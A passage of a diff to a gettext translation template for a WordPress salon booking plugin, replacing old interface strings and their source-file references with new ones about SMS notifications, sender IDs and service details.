build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:773, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:786, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:458, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:471, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:777, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:791, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:773, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:786, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:458, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:471, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:777, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:791, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:207, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:226, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:226, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:226, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:226\n-msgid \"You can select up to %d items\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:105\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:105\n+msgid \"Send SMS notification on new bookings\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:822, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:822, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:822, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:822, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:822, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:822\n-msgid \"An assistant for selected services can't perform this service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:143\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:143\n+msgid \"Send your review\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:863, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:863, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:863, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:863, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:863, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:863\n-msgid \"This service is not available with exclusive service.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:237\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:237\n+#, php-format\n+msgid \"Sender ID \\\"%s\\\" registered successfully\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:883, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:883, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:883, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:883, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:883, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:883\n-msgid \"You already selected service at\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:342\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:342\n+msgid \"Sender ID (Phone Number)\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the service name\n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:968, src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:27, src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:69, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:968, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:69, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:968, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:968, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:968, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:968, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:69, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:69, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:69, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:69\n-msgid \"No one of the attendants isn't available for %s service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:225\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:225\n+msgid \"Sender ID cannot be empty\"\n msgstr \"\"\n \n-#. translators: s%1$ will be replaced by attendant name, %2$s will be replaced by service name\n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:980, src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:980, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:980, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:980, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:980, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:980, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:41\n-msgid \"Attendant %1$s isn't available for %2$s service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:60\n+msgid \"Sender's number\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:1017, src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:140, src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:194, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1017, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:140, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:194, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1017, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1017, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1017, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1017, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:140, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:194\n-msgid \"No one of the attendants isn't available for selected services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:515\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:515\n+msgid \"Sending...\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:393\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:129\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:131\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:637\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:105\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:252\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:252\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:393\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:129\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:131\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:637\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:105\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:252\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:252\n+msgid \"Service\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:1050, src\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1050, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1050, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1050, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1050, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1050, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:12\n-msgid \"Limit of parallels bookings at \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:36\n+msgid \"\"\n+\"Service A: 16:00-18:00 with break at 17:00-17:30. With nested bookings \"\n+\"enabled, Service B can start at 17:00 or 17:10, etc.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability.php:1355, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1355, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1355, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1355, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1355, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1355\n-msgid \"This resource is not available for the selected service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:185\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:366\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:185\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:366\n+msgid \"Service addded\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailabilityItem.php:143, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:143, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:143\n-msgid \"Always\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:48\n+msgid \"Service Category\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailabilityItem.php:146, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:146, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:146, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:146, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:146, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:146\n-msgid \"All days\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:77\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:77\n+msgid \"Service Description\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FCalendarLink.php:62, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:62, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:62\n-msgid \"Salon name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:65\n+msgid \"Service description\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FCalendarLink.php:64, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:64, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:64\n-msgid \"Salon phone\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:53\n+msgid \"Service details\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FCalendarLink.php:65, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:65, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:65, 